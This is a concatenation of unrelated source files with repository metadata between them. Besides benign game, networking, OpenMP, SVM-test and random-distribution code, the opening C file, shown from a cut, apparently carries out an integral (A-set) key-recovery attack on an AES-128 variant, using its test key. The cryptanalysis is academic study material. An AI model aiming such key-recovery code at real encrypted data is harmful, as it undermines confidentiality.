for (int num = 0; num < 256; num++) { for (int k = 0; k < 8; k++) { if (num & (1 << k)) a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[2][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[3][7 - j] = 1; else AM[3][7 - j] = 0; } // for (int i = 0; i < 8; i++) // printf("%d ",AM[3][i]); //---------------------------------------------------------------------------计算AM[4] (a0^a4, a0^a3^a4, a3, a3) // 先假定 AM[3] 0001 0000 // for (int i = 0; i < 8; i++) // AM[3][i] = 0; // AM[3][3] = 1; memset(count, 0, sizeof(int) * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[3][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[3][i - 24]; for (int num = 0; num < 256; num++) { for (int k = 0; k < 8; k++) { if (num & (1 << k)) a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k] ^ AM[0][k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[3][k - 8] ^ AM[0][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[4][7 - j] = 1; else AM[4][7 - j] = 0; } /* for (int i = 0; i <256; i++) if (count[i] == 256) printf("%d\n",i); */ // for (int i = 0; i < 8; i++) // printf("%d ",AM[4][i]); //-------------------------------------------------------------------------计算AM[5] (a0^a5, a0^a4^a5, a4, a4) // 先假定 AM[4] 0001 0000 // for (int i = 0; i < 8; i++) // AM[4][i] = 0; // AM[4][4] = 1; memset(count, 0, sizeof(int) * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[4][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[4][i - 24]; for (int num = 0; num < 256; num++) { for (int k = 0; k < 8; k++) { if (num & (1 << k)) a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k] ^ AM[0][k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[4][k - 8] ^ AM[0][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[5][7 - j] = 1; else AM[5][7 - j] = 0; } // for (int i = 0; i < 8; i++) // printf("%d ",AM[5][i]); //----------------------------------------------------------------------计算AM[6] (a6, a5^a6, a5, a5) // 先假定 AM[5] 0001 0000 // for (int i = 0; i < 8; i++) // AM[5][i] = 0; // AM[5][5] = 1; memset(count, 0, sizeof(int) * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[5][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[5][i - 24]; for (int num = 0; num < 256; num++) { for (int k = 0; k < 8; k++) { if (num & (1 << k)) a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[5][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[6][7 - j] = 1; else AM[6][7 - j] = 0; } // for (int i = 0; i < 8; i++) // printf("%d ",AM[6][i]); //--------------------------------------------------------------------计算AM[7] (a0^a7, a0^a6^a7, a6, a6) // 先假定 AM[6] 0001 0000 // for (int i = 0; i < 8; i++) // AM[6][i] = 0; // AM[6][6] = 1; memset(count, 0, sizeof(int) * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); calc_DD(); for (int i = 16; i <= 23; i++) x[i] = AM[6][i - 16]; for (int i = 24; i <= 31; i++) x[i] = AM[6][i - 24]; for (int num = 0; num < 256; num++) { for (int k = 0; k < 8; k++) { if (num & (1 << k)) a[7 - k] = 1; else a[7 - k] = 0; } for (int k = 0; k < 8; k++) x[k] = a[k] ^ AM[0][k]; for (int k = 8; k <= 15; k++) x[k] = a[k - 8] ^ AM[6][k - 8] ^ AM[0][k - 8]; if (judgeR(x)) count[num]++; } } for (int i = 0; i < 256; i++) if (count[i] == 256) { //printf("!!!! %d\n", i); for (int j = 0; j < 8; j++) if (i & (1 << j)) AM[7][7 - j] = 1; else AM[7][7 - j] = 0; } // for (int i = 0; i < 8; i++) // printf("%d ",AM[7][i]); } //====================================================================================================================== static void read_M32() { FILE *in; in = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/M32.txt", "r"); for (int i = 0; i < 32; i++) for (int j = 0; j < 32; j++) fscanf(in, "%d", & M[i][j]); fclose(in); } static void calc_M32() { int M[4][4] = {{2, 3, 1, 1,}, {1, 2, 3, 1}, {1, 1, 2, 3}, {3, 1, 1, 2}}; int a[3][64]; memset(a, 0, sizeof(int) * 192); for (int i = 0; i < 8; i++) { a[0][i * 9] = 1; a[2][i * 9] = 1; } int x = 1; for (int i = 0; i < 7; i++) { a[1][i * 9 + x] = 1; a[2][i * 9 + x] = 1; } a[1][56] = 1; a[2][56] = 1; int count = 0; for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { } } } static void calc_DD() { // printf("\n"); // printf("%d %d %d %d", plain_text[0][0], kk[0], plain_text[0][0] ^ kk[0] , SS[249]); for (int i = 0; i < 256; i++) { DD[i][0] = SS[(int)plain_text[i][0] ^ kk[0]]; DD[i][1] = SS[(int)plain_text[i][5] ^ kk[5]]; DD[i][2] = SS[(int)plain_text[i][10]^ kk[10]]; DD[i][3] = SS[(int)plain_text[i][15] ^ kk[15]]; } } static int affine(int num) { bool x[8]; bool y[8]; int ans = 0; for (int i = 0; i < 8; i++) if (num & (1 << i)) x[7 - i] = 1; else x[7 - i] = 0; for (int i = 0; i < 8; i++) { y[i] = 0; for (int j = 0; j < 8; j++) if (A[i][j]) y[i] ^= x[j]; //y[i] ^= v[i]; } for (int i = 0; i < 8; i++) if (y[i]) ans += pow(2, 7 - i); return ans; } static void calc_kk() { // 计算 k' int count[16][256]; memset(count, 0, sizeof(int) * 16 * 256); for (int num_Aset = 0; num_Aset < 256; num_Aset++) { create_Aset(num_Aset); // // 使用第二个位置是 num_Aset 的这个 Aset for (int i = 0; i < 256; i++) AES128_ECB_decrypt(Aset[i], key, plain_text[i]); for (int i = 1; i < 16; i++) { for (int a = 0; a <= 255; a++) { int sum = 0; for (int j = 0; j <= 255; j++) { sum ^= SS[a ^ plain_text[j][i]]; //printf("%d\n", SS[a ^ Aset[j][i]]); } if (sum == 0) count[i][a]++; } } } kk[0] = 0; for (int i = 1; i < 16; i++) { for (int j = 0; j < 256; j++) if (count[i][j] == 256) { // 在 256 个A-set中 都符合条件的才是我们所要的k' kk[i] = j; break; } } } static void calc_SS() { FILE *fin; int num; fin = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/pi.txt", "r"); for (int i = 0; i < 256; i++) for (int j = 0; j < 256; j++) { fscanf(fin, "%d", &num); for (int k = 0; k < 8; k++) { if (num & (1 << k)) Eq[i * 8 + k][num * 8 + k] = 1; else Eq[i * 8 + k][num * 8 + k] = 0; } } for (int i = 0; i < 2048; i++) Eq[i][2049] = 0; fclose(fin); int n = 2048, q0 = 0, q1 = 0, p = 0, x, temp; bool res[2048]; memset(res, 0, sizeof(bool) * 2048); for (int i = 0; i < n; i++) { // i枚举n个未知数 x = -1; for (int j = p; j < n; j++) if (Eq[j][i]) { x = j; break; } if (x >= 0) { if (x != p) { for (int k = i; k <= n; k++) { //两行交换 temp = Eq[x][k]; Eq[x][k] = Eq[p][k]; Eq[p][k] = temp; } } for (int j = p + 1; j < n; j++) if (Eq[j][i]) for (int k = i; k <= n; k++) Eq[j][k] ^= Eq[p][k]; p++; } else { //遇到自由元 res[i] = 1; //定为1 for (int j = 0; j < p; j++) //找到前面xi系数为1的方程 全部带入xi值XOR掉 if (Eq[j][i]) { Eq[j][i] = 0; Eq[j][n] ^= 1; } } } p--; for (int i = n - 1; i >= 0; i--) { if (!res[i]) { res[i] = Eq[p][n]; for (int j = 0; j < p; j++) if (Eq[j][i]) { Eq[j][i] ^= Eq[p][i]; Eq[j][n] ^= Eq[p][n]; } p--; } } /* FILE *fout; fout = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/res.txt", "w"); for (int i = 0; i <2048; i++) fprintf(fout, "x%d = %d\n", i, res[i]); fclose(fout); */ int point = 0; for (int i = 0; i < 256; i++) { int num = 0; for (int j = 0; j < 8; j++) num += res[i * 8 + j] * pow(2, 7 - j); SS[i] = num; } } static void create_Aset(int num) { memset(Aset[0], 0, sizeof(Aset[0])); Aset[0][1] = (uint8_t) num; for (int i = 1; i < 256; i++) { memset(Aset[i], 0, sizeof(Aset[i])); Aset[i][0] = Aset[i - 1] [0] + 1; Aset[i][1] = (uint8_t) num; } } // prints string as hex static void phex(uint8_t* str) { unsigned char i; for(i = 0; i < 16; ++i) printf("%.2x", str[i]); printf("\n"); } static void test_encrypt_ecb_verbose(void) { // Example of more verbose verification uint8_t i, buf[16], buf2[16]; // 128bit key uint8_t key[16] = { (uint8_t) 0x2b, (uint8_t) 0x7e, (uint8_t) 0x15, (uint8_t) 0x16, (uint8_t) 0x28, (uint8_t) 0xae, (uint8_t) 0xd2, (uint8_t) 0xa6, (uint8_t) 0xab, (uint8_t) 0xf7, (uint8_t) 0x15, (uint8_t) 0x88, (uint8_t) 0x09, (uint8_t) 0xcf, (uint8_t) 0x4f, (uint8_t) 0x3c }; // 512bit text uint8_t plain_text[16] = { (uint8_t) 0x6b, (uint8_t) 0xc1, (uint8_t) 0xbe, (uint8_t) 0xe2, (uint8_t) 0x2e, (uint8_t) 0x40, (uint8_t) 0x9f, (uint8_t) 0x96, (uint8_t) 0xe9, (uint8_t) 0x3d, (uint8_t) 0x7e, (uint8_t) 0x11, (uint8_t) 0x73, (uint8_t) 0x93, (uint8_t) 0x17, (uint8_t) 0x2a}; memset(buf, 0, 16); memset(buf2, 0, 16); // print text to encrypt, key and IV printf("ECB encrypt verbose:\n\n"); printf("plain text:\n"); phex(plain_text); printf("\n"); printf("key:\n"); phex(key); printf("\n"); // print the resulting cipher as 4 x 16 byte strings printf("ciphertext:\n"); AES128_ECB_encrypt(plain_text, key, buf); phex(buf); printf("\n"); } static void test_encrypt_ecb(void) { uint8_t key[] = {0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c}; uint8_t in[] = {0x59, 0xcd, 0x18, 0x6e, 0xcf, 0x71, 0x04, 0x4b, 0x75, 0x72, 0x61, 0x80, 0xe7, 0x43, 0xd4, 0x40}; uint8_t out[] = {0x3a, 0xd7, 0x7b, 0xb4, 0x0d, 0x7a, 0x36, 0x60, 0xa8, 0x9e, 0xca, 0xf3, 0x24, 0x66, 0xef, 0x97}; uint8_t buffer[16]; FILE *output; output = fopen("/Users/Will/Programming/Clion/tiny-AES128/Debug/Ak_SB_SR_.txt", "w"); AK_SB_SR(in, key, buffer); // printf("%d: ", i); for (int j = 0; j < 16; j++) { fprintf(output, "%d ", buffer[j]); if ( !((j + 1) % 4) ) fprintf(output, "\n"); } fprintf(output, "\n"); /* if(0 == strncmp((char*) out, (char*) buffer, 16)) { printf("SUCCESS!\n"); } else { printf("FAILURE!\n"); } */ } static void test_decrypt_ecb(uint8_t Aset[][16]) { uint8_t key[] = {0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c}; uint8_t in[16]; uint8_t out[] = {0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40, 0x9f, 0x96, 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a}; uint8_t buffer[16]; for(int i = 0; i < 256; i++) { AES128_ECB_decrypt(Aset[i], key, buffer); } /* AES128_ECB_decrypt(cipher, key, buffer); printf("ECB decrypt: "); printf("cipher_text:\n"); phex(in); printf("\n\n"); printf("plain_text:\n"); phex(buffer); printf("--------------------------------------------------------------------------------\n"); */ }
[ "1025203332@qq.com" ]
1025203332@qq.com
44fdee71f8a7d25222b0308a16dafe6b63ef6b75
0770dc9fe901f39511deaabb55d5df6df94c0a4d
/GameClient/Inc/Player.h
53bdbd019e10d986eb5a93a9e6edcf733a35660e
[ "MIT" ]
permissive
victor-timoshin/Co-opShooter
9513f0381b7ab9b37e12ea8beb160b59158239a9
6f78c5d8d6bbbf42ebe84db1e0c31bbbd79180b5
refs/heads/master
2021-03-12T20:11:17.392362
2016-01-09T20:44:42
2016-01-09T20:44:42
37,907,006
0
0
null
null
null
null
UTF-8
C++
false
false
708
h
#ifndef PLAYER_H #define PLAYER_H #include "Character/Character.h" #include "StdAfx.h" #define MAX_CHARACTER_COUNT 4 // Максимальное количество персонажей у игрока. class Player { DECL_PROPERTY_INT(Id, _id) // Уникальный идентификатор. DECL_PROPERTY_STRING(Name, _name) // Имя игрока. DECL_PROPERTY_INT(Score, _score) // Счет игрока. public: /// <summary>Конструктор класса.</summary> Player(void); /// <summary>Деструктор класса.</summary> ~Player(void); private: typedef std::vector<Character::CharacterBase*> CharacterList; CharacterList _characters; }; #endif // PLAYER_H
[ "victor-timoshin@hotmail.com" ]
victor-timoshin@hotmail.com
2be862dbd838fa11bc9075e15ff0c3e3003e1f18
9d62896fb351ade6be2d27d823f6a8bd042f9a93
/ccc06j4.cpp
afa9bd156f80cf54724f14e3657c2270c001795f
[]
no_license
stevenbai0724/CCC-Solutions-
fc54b7b7bd5c0d6c6132ae9a9bed2f691b06ecb5
e6dc30bfe26f6f20e85fb9d5dac255bd9e5fb202
refs/heads/main
2023-07-11T05:00:45.626373
2021-08-24T18:58:00
2021-08-24T18:58:00
315,148,135
0
0
null
null
null
null
UTF-8
C++
false
false
1,403
cpp
#include <bits/stdc++.h> using namespace std; int main(){ cin.tie(nullptr)->sync_with_stdio(false); vector<vector<int>>adj(8); //if y is in adj[x], x must be done before task y vector<int>indegree(8); //indegree of takes, in other words the number of tasks needed to be done before vector<int>q; //order of tasks adj[1].push_back(7); adj[1].push_back(4); adj[2].push_back(1); adj[3].push_back(4); adj[3].push_back(5); indegree[7] = 1; indegree[4] = 2; indegree[1] = 1; indegree[5] = 1; while(true){ int x, y; cin >>x >>y; if(x==0 && y==0) break; adj[x].push_back(y); indegree[y]++; } while(true){ bool yes = true; for(int i = 1; i<=7; i++){ if(indegree[i] == 0){ yes = false; q.push_back(i); for(int j =0 ; j<adj[i].size(); j++){ indegree[adj[i].at(j)]--; } indegree[i]--; break; } } if(yes){ cout<<"Cannot complete these tasks. Going to bed."<<"\n"; break; } if(q.size()==7) break; } if(q.size()==7){ for(int i = 0; i<7; i++){ cout<<q.at(i)<<" "; } } return 0; }
[ "noreply@github.com" ]
stevenbai0724.noreply@github.com
a85cf363d5bef1f6d6555b70e44efb73cbfffb8e
23279d1ed43e9b0a72cb6e7a7fa595b0abe9aad8
/cvalenzuela/project3/code/src/omptreeincomplete.cpp
c15cf005e7b8a9743b3815de7bdcb07c1f272166
[]
no_license
usantamaria/IPM-407_Fast_algorithms
67c13bcd9bf3ed5c1f8bd34737a784acfd09f370
fa64c4a3dcd9acf76fdab5cc9c76f02cc20c6d29
refs/heads/master
2020-06-15T12:21:44.759395
2017-07-31T22:09:19
2017-07-31T22:09:19
94,136,473
4
1
null
null
null
null
UTF-8
C++
false
false
1,249
cpp
#include "libfastree.h" #include <math.h> #include <omp.h> #include <stdio.h> #include <stdlib.h> void c_incompleteomptree(double THETA,int NCRIT,int N, double* potential,double* x,double* y,double* z,double* m, double EPS2, int threads){ int i; // Set root cell cell C0[N]; cell *CN = C0; double p; initialize(C0,NCRIT); C0->xc = C0->yc = C0->zc = C0->r = 0.5; // Build tree for( i=0; i<N; i++ ) { cell *C = C0; while( C->nleaf >= NCRIT ) { C->nleaf++; int octant = (x[i] > C->xc) + ((y[i] > C->yc) << 1) + ((z[i] > C->zc) << 2); if( !(C->nchild & (1 << octant)) ) add_child(octant,C,CN,NCRIT); C = C->child[octant]; } C->leaf[C->nleaf++] = i; if( C->nleaf >= NCRIT ) split_cell(x,y,z,C,CN,NCRIT); } // Multipole expansion getMultipole(C0,x,y,z,m,NCRIT); // Upward translation for( cell *C=CN; C!=C0; --C ) { cell *P = C->parent; upwardSweep(C,P); } #pragma omp parallel num_threads(threads) shared(C0,CN, potential) private(p,i) { // Evaluate expansion #pragma omp for for(i=0; i<N; i++){ cell *C = C0; p = -m[i] / sqrtf(EPS2); evaluate(C,x,y,z,m,p,i,NCRIT,THETA,EPS2); potential[i] = p; } } return; }
[ "cacke91@gmail.com" ]
cacke91@gmail.com
c42f0abf53a4951f2d8e02d9c15c765771f1479f
3f17ad406c80c2405f6bbf71cb4aded9cbbedd86
/practica3/EnetTest/EnetWrapper/ServerENet.cpp
79315ea9bb8b28bc97cf37b907d868c80e7e8035
[]
no_license
gonzalomvp/juegoEnRed
baf24e21322c64756a950825d5eec9cb7743c71c
1283deb3917904630d912417d3489ba6a59f9d44
refs/heads/master
2020-03-09T13:25:02.287578
2018-09-21T21:52:27
2018-09-21T21:52:27
128,810,665
0
0
null
null
null
null
ISO-8859-10
C++
false
false
5,308
cpp
#include "ServerENet.h" #include "PeerENet.h" #include "enet2/enet.h" namespace ENet { ///////////////////////////////////////////////////////////////////////////////////////////////////////////// CServerENet::CServerENet() { } ///////////////////////////////////////////////////////////////////////////////////////////////////////////// CServerENet::~CServerENet() { End(); } ///////////////////////////////////////////////////////////////////////////////////////////////////////////// bool CServerENet::Init(int port, int clients, unsigned int maxinbw, unsigned int maxoutbw, float _fLatencyBase, float _fLatencyJitter, float _fPacketDropChance) { if (IsOk()) End(); super::Init(1, 0, 0, _fLatencyBase, _fLatencyJitter, _fPacketDropChance); if (enet_initialize () != 0) { printf ("NET>> An error occurred while trying to init ENet.\n"); return false; } ENetAddress address; memset(&address, 0, sizeof(address)); address.host = ENET_HOST_ANY; // Bind the server to the default localhost. address.port = port; // Bind the server to port. m_Host = enet_host_create( &address, // Direccion de transporte a la que bindearse --> Server clients, 0, maxinbw, maxoutbw ); if (m_Host == NULL) { printf ("NET >> An error occurred while trying to create an ENet server host.\n"); return false; } if (DEBUG_ENET) fprintf(stdout, "Server initialized.\n"); m_Status = INIT_NOT_CONNECTED; return true; } ///////////////////////////////////////////////////////////////////////////////////////////////////////////// void CServerENet::End() { if (m_Status == INIT_AND_CONNECTED) DisconnectAll(); enet_host_destroy(m_Host); enet_deinitialize(); m_Status = NO_INIT; std::vector<CPeerENet*>::iterator it = m_PeerList.begin(); while (it != m_PeerList.end()) { delete (*it); ++it; } m_PeerList.clear(); } ///////////////////////////////////////////////////////////////////////////////////////////////////////////// void CServerENet::Service(std::vector<CPacketENet*>& incommingPackets, float dt) { ENetEvent event; CPacketENet* pPacket; CPeerENet* pPeer; // Peerīs Service for (std::vector<CPeerENet*>::iterator iter = m_PeerList.begin(); iter != m_PeerList.end(); ++iter) { pPeer = (CPeerENet*)*iter; pPeer->Service(dt); } /* Wait up to 0 milliseconds for an event. */ while (enet_host_service(m_Host, &event, 0) > 0) { switch (event.type) { case ENET_EVENT_TYPE_CONNECT: if (DEBUG_ENET) { char name[256]; enet_address_get_host_ip(&event.peer->address, name, 256); fprintf(stdout, "A new client connected from %s:%hu.\n", name, event.peer->address.port); } pPeer = new CPeerENet(event.peer, m_fLatencyBase, m_fLatencyJitter, m_fPacketDropChance); event.peer->data = pPeer; m_PeerList.push_back(pPeer); pPacket = new CPacketENet(CONNECT, 0, 0, pPeer, 0); incommingPackets.push_back(pPacket); m_Status = INIT_AND_CONNECTED; break; case ENET_EVENT_TYPE_RECEIVE: if (DEBUG_ENET) fprintf(stdout,"A packet of length %u was received from %s on channel %u.\n", event.packet -> dataLength, event.peer -> data, event.channelID); pPacket = new CPacketENet(DATA, event.packet->data, event.packet->dataLength, (CPeerENet*)event.peer->data, event.channelID); incommingPackets.push_back(pPacket); enet_packet_destroy (event.packet); break; case ENET_EVENT_TYPE_DISCONNECT: if (DEBUG_ENET) { char name[256]; enet_address_get_host_ip(&event.peer->address, name, 256); fprintf(stdout, "Client %s:%hu disconected.\n", name, event.peer->address.port); } pPacket = new CPacketENet(DISCONNECT, 0, 0, (CPeerENet*)event.peer->data, 0); incommingPackets.push_back(pPacket); DisconnectReceived((CPeerENet*)event.peer->data); break; default: fprintf(stdout,"Unknown packet.\n"); } } } ///////////////////////////////////////////////////////////////////////////////////////////////////////////// void CServerENet::SendAll(void* data, size_t longData, int channel, bool reliable) { enet_uint32 rel = 0; if(reliable) rel = ENET_PACKET_FLAG_RELIABLE; ENetPacket * packet = enet_packet_create (data,longData,rel); for(std::vector<CPeerENet*>::iterator iter = m_PeerList.begin(); iter != m_PeerList.end(); ++iter) { CPeerENet* pConexion = (CPeerENet*)*iter; //enet_peer_send (pConexion->GetENetPeer(), channel, packet); pConexion->SendPacket(packet, channel); } if (DEBUG_ENET) fprintf (stdout, "Packet send.\n"); enet_host_flush(m_Host); } } // namespace ENet
[ "gonzalo.villaescusa@live.u-tad.com" ]
gonzalo.villaescusa@live.u-tad.com
b6b66d8b1b19f43bd4a847dd129cc7503efc95d7
02718d580008a6f20b932e5fa04521386adf5209
/svm_wtmice_test.cpp
5c076d8e6319ecfa53c64fea04d6595ca046f86f
[]
no_license
jklynch/mothur-test
22ce9e6bff26dbfa970d0458f2dc30298c5afa78
d0b353893d80982ee077971cc2c0dc8f7aa7a41f
refs/heads/master
2021-01-20T07:00:07.334474
2013-12-22T15:29:18
2013-12-22T15:29:18
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,057
cpp
// // svm_integration_test.cpp // // Created by Joshua Lynch on 7/8/2013. // Copyright (c) 2013 Schloss Lab. All rights reserved. // #include "gtest/gtest.h" #include "mothur/mothurout.h" #include "mothur/groupmap.h" #include "mothur/inputdata.h" #include "mothur/classifysvmsharedcommand.h" #include "mothur/svm.hpp" MothurOut* MothurOut::_uniqueInstance = 0; class MouseDataFixture : public testing::Test { public: MothurOut* m = MothurOut::getInstance(); LabeledObservationVector labeledObservationVector; FeatureVector featureVector; SvmDataset* svmDataset; ExternalSvmTrainingInterruption externalInterruption; OneVsOneMultiClassSvmTrainer* trainer; virtual void SetUp() { ClassifySvmSharedCommand classifySvmSharedCommand; labeledObservationVector.clear(); featureVector.clear(); std::cout << "testing wtmiceonly data" << std::endl; std::string sharedFilePath = "~/gsoc2013/data/WTmiceonly_final.shared"; std::string designFilePath = "~/gsoc2013/data/WTmiceonly_final.design"; classifySvmSharedCommand.readSharedAndDesignFiles(sharedFilePath, designFilePath, labeledObservationVector, featureVector); svmDataset = new SvmDataset(labeledObservationVector, featureVector); OutputFilter outputFilter(OutputFilter::QUIET); int evaluationFoldCount = 3; int trainFoldCount = 5; trainer = new OneVsOneMultiClassSvmTrainer(*svmDataset, evaluationFoldCount, trainFoldCount, externalInterruption, outputFilter); } virtual void TearDown() { delete trainer; delete svmDataset; } }; /* TEST(OneVsOneMultiClassSvmTrainer, WtMiceData) { MothurOut* m = MothurOut::getInstance(); ClassifySvmSharedCommand classifySvmSharedCommand; LabeledObservationVector labeledObservationVector; FeatureVector featureVector; SvmDataset svmDataset(labeledObservationVector, featureVector); ExternalSvmTrainingInterruption externalInterruption; std::cout << "testing wtmiceonly data" << std::endl; std::string sharedFilePath = "~/gsoc2013/data/WTmiceonly_final.shared"; std::string designFilePath = "~/gsoc2013/data/WTmiceonly_final.design"; classifySvmSharedCommand.readSharedAndDesignFiles(sharedFilePath, designFilePath, labeledObservationVector, featureVector); EXPECT_EQ(113, labeledObservationVector.size()); int evaluationFoldCount = 3; int trainFoldCount = 5; OneVsOneMultiClassSvmTrainer t(svmDataset, evaluationFoldCount, trainFoldCount, externalInterruption); EXPECT_EQ(4, t.getLabelSet().size()); EXPECT_EQ(6, t.getLabelPairSet().size()); KernelParameterRangeMap kernelParameterRangeMap; getDefaultKernelParameterRangeMap(kernelParameterRangeMap); MultiClassSVM* s = t.train(kernelParameterRangeMap); std::cout << "in the WTmice test - done training" << std::endl; delete s; for (LabeledObservationVector::iterator i = labeledObservationVector.begin(); i != labeledObservationVector.end(); i++) { delete i->second; } } */ TEST_F(MouseDataFixture, OneVsOneMultiClassSvmTrainerZeroOne) { transformZeroOne(labeledObservationVector); EXPECT_EQ(113, labeledObservationVector.size()); EXPECT_EQ(4, trainer->getLabelSet().size()); EXPECT_EQ(6, trainer->getLabelPairSet().size()); KernelParameterRangeMap kernelParameterRangeMap; getDefaultKernelParameterRangeMap(kernelParameterRangeMap); MultiClassSVM* s = trainer->train(kernelParameterRangeMap); std::cout << "in the WTmice test - done training" << std::endl; delete s; } TEST_F(MouseDataFixture, OneVsOneMultiClassSvmTrainerZeroMeanUnitVariance) { transformZeroOne(labeledObservationVector); EXPECT_EQ(113, labeledObservationVector.size()); EXPECT_EQ(4, trainer->getLabelSet().size()); EXPECT_EQ(6, trainer->getLabelPairSet().size()); KernelParameterRangeMap kernelParameterRangeMap; getDefaultKernelParameterRangeMap(kernelParameterRangeMap); MultiClassSVM* s = trainer->train(kernelParameterRangeMap); std::cout << "in the WTmice test - done training" << std::endl; delete s; } // SmoTrainer C does not seem to be important here // LinearKernelFunction constant range does not seem to be important here TEST_F(MouseDataFixture, SvmRfe) { transformZeroOne(labeledObservationVector); SvmRfe svmRfe; double constantRangeList[] = {0.0}; ParameterRange linearConstantRange(constantRangeList, constantRangeList + 1); double smoCRangeList[] = {10.0, 1.0, 0.1}; ParameterRange smoCRange(smoCRangeList, smoCRangeList + 3); RankedFeatureList orderedFeatureList = svmRfe.getOrderedFeatureList(*svmDataset, *trainer, linearConstantRange, smoCRange); int n = 0; std::cout << "ordered features:" << std::endl; for (RankedFeatureList::iterator i = orderedFeatureList.begin(); i != orderedFeatureList.end(); i++) { std::cout << i->getFeature().getFeatureLabel() << std::endl; n++; if (n > 20) break; } }
[ "joshua.kevin.lynch@gmail.com" ]
joshua.kevin.lynch@gmail.com
6c8826e7dbff5a59b9a0906c38a4397314ad3b76
f1c132a596bb464dff1a99b0dbe347ca89c6bb7c
/random/distribution/i-uniform-int32-distribution.h
6977411e1562e9ffc05d00ca694a2d9aa2260861
[ "MIT" ]
permissive
Fuzzier/nsfx
669e36333b5d31bac3634df3564098f1bacf389b
452c317d6cf69c00f1bbd9c94e10eac6f1535ba1
refs/heads/master
2021-01-24T17:48:06.439782
2020-07-15T08:46:50
2020-07-15T08:46:50
128,712,401
8
2
null
null
null
null
UTF-8
C++
false
false
3,010
h
/** * @file * * @brief Random number support for Network Simulation Frameworks. * * @version 1.0 * @author Wei Tang <gauchyler@uestc.edu.cn> * @date 2018-09-24 * * @copyright Copyright (c) 2018. * National Key Laboratory of Science and Technology on Communications, * University of Electronic Science and Technology of China. * All rights reserved. */ #ifndef I_UNIFORM_INT32_DISTRIBUTION_H__BE510F83_B556_4518_AD1B_BFEF642D011A #define I_UNIFORM_INT32_DISTRIBUTION_H__BE510F83_B556_4518_AD1B_BFEF642D011A #include <nsfx/random/config.h> #include <nsfx/component/i-object.h> #include <nsfx/component/i-user.h> NSFX_OPEN_NAMESPACE //////////////////////////////////////////////////////////////////////////////// /** * @ingroup Random * @brief A discrete uniform distribution. * * This distribution is also know as rectangular distribution. * * This distribution produces random numbers in a range <i>[a,b]</i> where * each value within it are equally probable. */ class IUniformInt32Distribution : virtual public IObject { public: virtual ~IUniformInt32Distribution(void) BOOST_NOEXCEPT {} /** * @brief Generate a new random number. */ virtual int32_t Generate(void) = 0; /** * @brief Reset the distribution. * * Reset the distribution, so that the subsequently generated values do not * depend on values already produced by it. * * This function may have no effect if the implementation for this * distribution class produces independent values. */ virtual void Reset(void) = 0; /** * @brief The minimum value (inclusive). * * The greatest lower bound of the range of values that can be potentially * generated. * * @return The parameter <i>a</i>. */ virtual int32_t GetMinValue(void) = 0; /** * @brief The maximum value (exclusive). * * The least upper bound of the range of values that can be potentially * generated. * * @return The parameter <i>b</i>. */ virtual int32_t GetMaxValue(void) = 0; /** * @brief The parameter <i>a</i> associated with the uniform distribution. * * The lower bound of the range of values that can be potentially generated. */ virtual int32_t GetLowerBound(void) = 0; /** * @brief The parameter <i>b</i> associated with the uniform distribution. * * The upper bound of the range of values that can be potentially generated. */ virtual int32_t GetUpperBound(void) = 0; }; NSFX_DEFINE_CLASS_UID(IUniformInt32Distribution, "edu.uestc.nsfx.IUniformInt32Distribution"); //////////////////////////////////////////////////////////////////////////////// NSFX_DEFINE_USER_INTERFACE( IUniformInt32DistributionUser, "edu.uestc.nsfx.IUniformInt32DistributionUser", IUniformInt32Distribution); NSFX_CLOSE_NAMESPACE #endif // 